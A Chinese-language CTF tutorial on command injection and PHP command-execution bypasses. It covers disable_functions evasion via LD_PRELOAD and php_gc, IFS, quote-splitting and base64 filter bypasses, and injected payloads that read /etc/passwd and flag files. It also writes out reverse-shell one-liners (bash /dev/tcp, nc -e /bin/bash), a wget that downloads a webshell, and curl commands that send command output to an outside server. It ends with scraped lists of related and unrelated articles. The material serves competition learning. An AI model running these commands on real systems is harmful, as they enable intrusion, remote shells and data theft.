本位原创作者:Smity


在介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行。

作为CTF最基础的操作,命令执行的学习主要是为了以后进一步使用webshell打下基础

同样的,今天还会介绍如何使用各种命令执行绕过的方式

首先我们先来看代码执行

动态调用:

这个地方是ctf曾经的一个考点,也是我在强网杯出过的一道题目,叫"高明的黑客",里面使用的就是混淆代码+动态函数调用,这种写法实际上在红蓝攻防中很经常用到,就是一堆函数进行混淆,然后在里面插入一个动态函数进行真正的代码执行或者是命令执行。

当时那道题目的灵感是来自于一场安全响应,黑客攻陷网站后,在里头插入了混淆以后的代码,1000多个文件里面只有一条路径是正常执行的,最后是使用debug直接看栈内存的调用来判断哪个路径是真的动态调用。

常见的命令执行函数

反引号

这个是大家很容易忘记的一个命令执行点,ctf赛题最近也出了很多道关于这个的题目。我们在第二篇中会拿一个例子来详细分析他的作用。

命令执行绕过

以上是我们常见的代码注入或者是命令注入的函数,但是很多时候在ctf中,出题人不会那么轻易的就让我们执行命令。因此我们必须要能够掌握多种命令执行绕过的姿势。

一般来说,遇到的无非以下两种情况:

1.disable_function

2.过滤字符

disable_function

这个东西很明显就是什么呢,你能够代码执行了,但是发现不论是蚁剑还是你自己手打,都执行不了系统命令,然后你用phpinfo这种函数读取后发现如下配置:

实际上是开发者在后端的php.ini里写了如下语句

disable_functions =system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

最常用的就是两种办法

1.ld_preload

2.php_gc

ld_preload

今年来比较少考到,但是在红蓝攻防中很经常应用

需要对面满足条件是:对面没有禁用mail函数(可能这也是最近比赛不爱考这个的原因之一,如果禁用了mail,那等于就是考察别的点了,不禁用mail又一堆人用这个方法绕过,也很没有意思)操作方法:

hack.c

将带有命令的c文件编译成为.so文件然后通过代码执行传入(这里可以直接用蚁剑)

然后传入如下php文件

访问php文件就可以运行刚才的命令了。然后可以在/tmp/smity文件下看到ls的结果。

php_gc

从这两次公益赛来看这个都是考点(春秋和高校)两次的题目分别是:easy-thinking和php-uaf都是做到了代码执行却没有命令执行,所以通常步骤就是,利用蚁剑链接我们的shell代码执行,将下面的脚本写好命令传上去然后访问,利用phpgc进程Bypass 条件:php7.0 < 7.3 (Unix)

这里的大家可以参考这个博客,里面有比较详细的脚本,因为太长了就不贴在这里了

https://wulidecade.cn/2019/09/27/%E7%BB%95%E8%BF%87disable-function%E6%B1%87%E6%80%BB/

过滤字符

这个限制一般是题目中允许你使用system,但是很奇怪的是你却没有办法获取执行命令的结果

比如,对面过滤了空格,你能执行ls,但是没法cat读取文件

比如,对面过滤了flag这个词语,什么文件都可以读取,就是没办法读取flag

等等,都是ctf题目做到最后,这个出题人小心思故意在这里卡你一下。这个时候你就需要试试我接下来讲的这些方法:

空格代替

空格在bash下,可以用以下字符代替空格

这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,只有cat$IFSa.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离。

截断符号

ctf很喜欢考的一点是命令执行的连接,这个地方它通常会给一个已有的命令执行,比如代码写好了ping命令,叫你填写一个ip参数这样的题目,这个时候就需要测试截断符号,将你输入的ip参数和后面要执行的命令隔开。首先测试所有的截断符号:

利用截断符号配合普通命令简单问题基本就出来;例如:ip=127.0.0.1;cat /home/flag.txt这样就可以达到同时执行两条命令的效果

利用base编码绕过

这种绕过针对的是系统过滤敏感字符的时候,比如他过滤了cat命令,那么就可以用下面这种方式将cat先base64编码后再进行解码运行。

连接符,用两个单引号可以绕过

cat /etc/pass'w'd这个是现在很喜欢考的点之一,基本能通杀大部分命令注入waf因为单引号一旦过滤很大程度上会影响正常解题。

反斜杠利用

这个是很经典的hitcon题目,hitcon连续好几年出了绕过长度限制执行命令的题目

比如七个字符执行命令

七个字的命令执行

这里先介绍一下小技巧,linux下创建文件的命令可以用1>1创建文件名为1的空文件

ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n

\ 在linux里也是个连接符,最早使用在屏幕不能容纳超过18个字符的第一代计算机,用于连接上下两行,这里使用它来绕过限制

语句为wget 域名.com -O shell.php

ls > a 写入服务器文件然后sh a 读取

这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来

然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序 将最后的命令改成ls -t>a

至于绕过5个字符执行命令,绕过4个字符,那其实都是用\做的trick,这里不一一赘述了。

命令执行结果返回长度受限制

这次在高校战役上有一道题目提醒了我这个,出题人其实能过滤的就那么多,那么还有一种方法卡住你就是不让你看到命令执行的完整结果,比如不回显或者是回显一行,这次题目需要用道soapclient做代码执行,但是它有一点不好就是没办法回显完整,只能看到一行结果,这样对我们的命令执行很不方便,而且dev文件没有权限使用,这个时候我们可以用下面这个反弹shell的办法。

其实反弹shell的命令大家很喜欢用这个:

bash -i >&/dev/tcp/ip/port0>&1

但是这个有一点不好,他需要dev也需要bash,实际上用我下面这个命令会更简单:监听端口后

nc-e /bin/bash ip port

这样也可以拿到shell,其实本质是一样的,没有太大区别,只是简化了一下。

一道很经典的命令执行绕过

这个题目好像看到两次了,一开始大家都不会脑洞,后来发现这次还是好多人没有学会,也没有去总结poc:

首先先明白这个地方限制了什么

1.限制了只能代码执行

2.限制了只能执行一个变量$x

3.限制了这个变量的长度

所以这个地方一共有两个思路

1.传入数组,让他能够执行多个变量,因为$_GET是个数组,但是这个思路是错误的,因为GET虽然能传入多个变量,但是已经限制了只能执行$x,而$x来自GET数组里键值为x的变量,所以第这个我们放弃。

2.反引号执行自己,传入$x本身,也就是说,直接让$_GET['x']=$x,这样一来 ,就会使得$x=$x,如果$x是命令,就会通过反引号自己来执行它

如果$x后面再跟上我们之前讲的连接符会是什么样呢

`$x`;abcd

那么即使取出前5个字符,还是会执行整个的$x,用上分隔符就会执行多条命令

假设我们在这里加点难度,没有回显,执行命令但是不给你结果,怎么办呢?

两种方法

1.反弹shell

2.curl

反弹shell,我们这里可以使用;来连接命令,

$x;nc -e /bin/bash ip port

然后在自己服务器端口 nc -lvv 8080进行监听

但是这题要是再难一点,没有权限执行反弹shell这个操作呢

我们还可以用另一种方法:

curl的妙用

在curl里面有这几种方式

直接ip发送get包

-d发送post包

-v 显示整个通信过程

--data发送数据

这里可以使用curl -v http://ip?whoami

或者 curl -v http://ip --datawhoami

IP为自己服务器,就可以在/var/log/apache2/access.log下看到命令执行的结果了。

CTF中的命令执行绕过的更多相关文章

  1. CTF练习三 —— 命令注入&命令执行绕过

    这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...

  2. ctf-ping命令执行绕过

    题目连接:http://ctf.klmyssn.com/challenges#Ping 命令执行绕过,试了试过滤了一些:一些命令 但是反引号可以执行命令 通过拼接,可以拼接出来:ls 命令 127.0 ...

  3. [GXYCTF2019]Ping Ping Ping(ping命令执行绕过Waf)

    记一道ping注入的题.过滤了很多字符. 分析 简单的测了一下,很容易就拿到了flag.php和index.php. 但是存在waf无法直接查看.直接?ip=127.0.0.1|cat flag.ph ...

  4. 【CTF WEB】命令执行

    命令执行 找到题目中的KEY KEY为八位随机字符数字,例如key:1234qwer.提交1234qwer 即可. 漏洞代码 <?php system("ping -c 2 " ...

  5. [web安全原理]PHP命令执行漏洞基础

    前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...

  6. PHP的命令执行漏洞学习

    首先我们来了解基础 基础知识来源于:<web安全攻防>徐焱 命令执行漏洞 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.pas ...

  7. Python开发的3种命令执行方法

    在python开发中,我们常常需要执行命令,修改相关信息.那对于初学者来说,python中如何执行命令呢?今天,小编就为大家分享3种python命令执行的方法. 1. 使用os.system(&quo ...

  8. Struts2再爆远程命令执行漏洞![W3bSafe]Struts2-048 Poc Shell及防御修复方案抢先看!

    漏洞概述 Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架.在Struts 2.3.x 系列的 Show ...

  9. 转:LNMP虚拟主机PHP沙盒绕过/命令执行(php exec命令被禁之后)

    LNMP虚拟主机PHP沙盒绕过/命令执行 lnmp更新1.2版本,很多东西都升级了,很棒.不过还是发现一个BUG. LNMP是一款linux下nginx.php.mysql一键安装包. 下载:http ...

随机推荐

  1. poj1088 滑雪 dp+dfs记忆化

    简单的搜索,不必多说了,初始状态下每个点能到达的长度是1,它本身.还有,注意关掉文件重定向,被坑好多次了. 代码如下: #include<cstdio> #include<algor ...

  2. MySQL----DQL(查询数据库表中数据)

    ##DQL:查询表中的记录 1.语法: select 字段列名 from 表名列表 where 条件列表 group  by 分组字段 having  分组之后的条件 order  by 排序 lim ...

  3. Spark作业提交至Yarn上执行的 一个异常

    (1)控制台Yarn(Cluster模式)打印的异常日志: client token: N/A         diagnostics: Application application_1584359 ...

  4. vue2源码分析:patch函数

    目录 1.patch函数的脉络 2.类vnode的设计 3.createPatch函数中的辅助函数和patch函数 4.源码运行展示(DEMO) 一.patch函数的脉络 首先梳理一下patch函数的 ...

  5. CF 631C report

    Each month Blake gets the report containing main economic indicators of the company "Blake Tech ...

  6. spring boot 源码赏析之事件监听

    使用spring Boot已经快1年多了,期间一直想点开springboot源码查看,但由于种种原因一直未能如愿(主要是人类的惰性...),今天就拿springboot 的监听事件祭刀. spring ...

  7. 深入理解Java AIO(一)—— Java AIO的简单使用

    深入理解Java AIO(一)—— Java AIO的简单使用 深入理解AIO系列分为三个部分 第一部分也就是本节的Java AIO的简单使用 第二部分是AIO源码解析(只解析关键部分)(待更新) 第 ...

  8. [vijos1120]花生采摘<贪心>

    题目链接:https://vijos.org/p/1120 这怕是我打过最水的一道题了,但是这道隶属于普及组难度的题我竟然提交4次才过,这不禁让我有些后怕,所以还是含泪写下这篇博客,用来警示一下自己: ...

  9. JUnit白盒测试之基本路径测试:三次找到假球

    前言 记录一次软件测试课程的课后作业,作业内容是白盒测试中的基本路径测试,步骤如下 分析程序的控制流 计算环形复杂度 找出基本路径 设计测试用例 执行测试用例(要求使用JUnit) 作业要求 使用白盒 ...

  10. docker 搭建keepalived+nginx高可用

    前言 最近工作 中 有用到keepalived,就想着 在 本地 搭建一套环境验证一下相关的功能.因为创建虚拟机比较麻烦,就借助  docker来搭建这样 一套 环境 ,顺带学习 巩固下docker的 ...